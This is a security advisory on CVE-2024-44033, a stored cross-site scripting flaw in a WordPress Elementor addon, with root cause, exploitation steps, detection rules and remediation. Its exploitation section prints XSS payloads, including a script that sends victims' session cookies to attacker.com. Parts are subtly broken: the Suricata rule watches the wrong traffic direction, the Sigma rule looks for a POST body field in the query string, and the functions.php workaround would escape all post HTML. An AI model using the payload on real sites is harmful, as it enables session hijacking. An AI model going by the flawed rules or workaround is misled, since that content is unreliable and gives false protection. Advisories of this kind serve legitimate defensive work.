CVE-2024-44033

Executive Summary

CVE-2024-44033 is a Stored Cross-Site Scripting (XSS) vulnerability in the Nicheaddons Primary Addon for Elementor WordPress plugin, affecting versions up to and including 1.5.7. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages or posts. When a victim administrator or other user views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, defacement, or redirection to malicious sites. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository and third-party marketplaces. Users are advised to verify the integrity of their plugin files and monitor for updates from the vendor. Since the plugin is part of the WordPress ecosystem, supply chain risks include compromised updates or malicious forks.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs contributor-level access or higher.
• User Interaction (UI): Required – The victim must view the compromised page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited ability to disrupt service.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used Elementor addon increases the risk, especially in multi-author WordPress environments.

Deep Dive & Mechanics

The vulnerability exists in the primary-addon-for-elementor plugin, which extends the Elementor page builder with additional widgets. The plugin fails to properly sanitize and escape user-supplied input before storing it in the WordPress database. When a user with contributor-level privileges or higher creates or edits a post/page using a vulnerable widget, they can inject malicious JavaScript code into fields such as titles, descriptions, or custom attributes.

The injected script is stored in the database and executed when any user (including administrators) views the affected page. This is a classic Stored XSS (also known as Persistent XSS) scenario. The lack of output encoding or input validation in the plugin’s rendering functions allows the attacker’s payload to be interpreted as HTML/JavaScript by the victim’s browser.

Root Cause: The plugin uses functions like echo $some_field or the_content() without applying WordPress’s built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post().

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical example of the vulnerable code pattern and its secure counterpart.

Vulnerable Code (e.g., in a widget template):

<?php
// Vulnerable: Direct output without escaping
echo $settings['widget_title'];
?>

Patched Code (Recommended):

<?php
// Patched: Properly escape output
echo esc_html( $settings['widget_title'] );
?>

The vulnerable code directly echoes user-controlled data, allowing script injection. The patched version uses esc_html() to convert special characters to HTML entities, neutralizing any injected scripts.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with the vulnerable plugin (<=1.5.7) installed and active.
• A user account with at least Contributor privileges.

Steps:

1. Log in to the WordPress admin panel as a Contributor.
2. Create a new post or page using the Elementor editor.
3. Add a widget from the Primary Addon for Elementor that accepts user input (e.g., a heading or text widget).
4. In the widget’s title or content field, inject the following payload:

   <script>alert('XSS')</script>
   

5. Publish or save the post as a draft.
6. When an administrator or any other user views the post, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual JavaScript in post/page content fields.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Review server logs for requests containing <script> tags in POST data.

Hardening:

• Disable the plugin until a patch is released.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Use WordPress security plugins that scan for malicious content.

Indicators of Compromise (IOCs)

• File Hashes (Plugin Directory): Monitor for modified files in /wp-content/plugins/primary-addon-for-elementor/.
• Database Entries: Look for posts/pages containing <script> tags in wp_posts.post_content.
• Network Traffic: Outbound requests to unknown domains from the WordPress server.
• User Agent: Unusual user agents in admin panel access logs.
• Log Entries: PHP error logs showing unexpected output or eval() calls.

Detection Engineering

YARA Rule

rule CVE_2024_44033_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress post content"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-44033"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $xss_event = /on\w+\s*=\s*["']?[^"'\s>]+["']?/is
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Stored XSS in Primary Addon for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via the vulnerable plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 
            - '/wp-admin/post.php'
            - '/wp-admin/post-new.php'
        cs-method: 'POST'
        cs-uri-query|contains: 'action=editpost'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-44033 Stored XSS Payload Detected"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patched version is released.
2. Review all posts/pages created by contributors for malicious content.
3. Change all user passwords if compromise is suspected.

Long-term Fixes:

• Apply the vendor’s patch when available.
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce the principle of least privilege for user roles.
• Regularly update all WordPress plugins and themes.

Workaround:

• Use a security plugin like Wordfence to block XSS attempts.
• Add custom code to functions.php to sanitize plugin output:

  add_filter( 'the_content', 'esc_html' );
  

Valters IT
DevSecOps & Cyber Threat Intelligence Division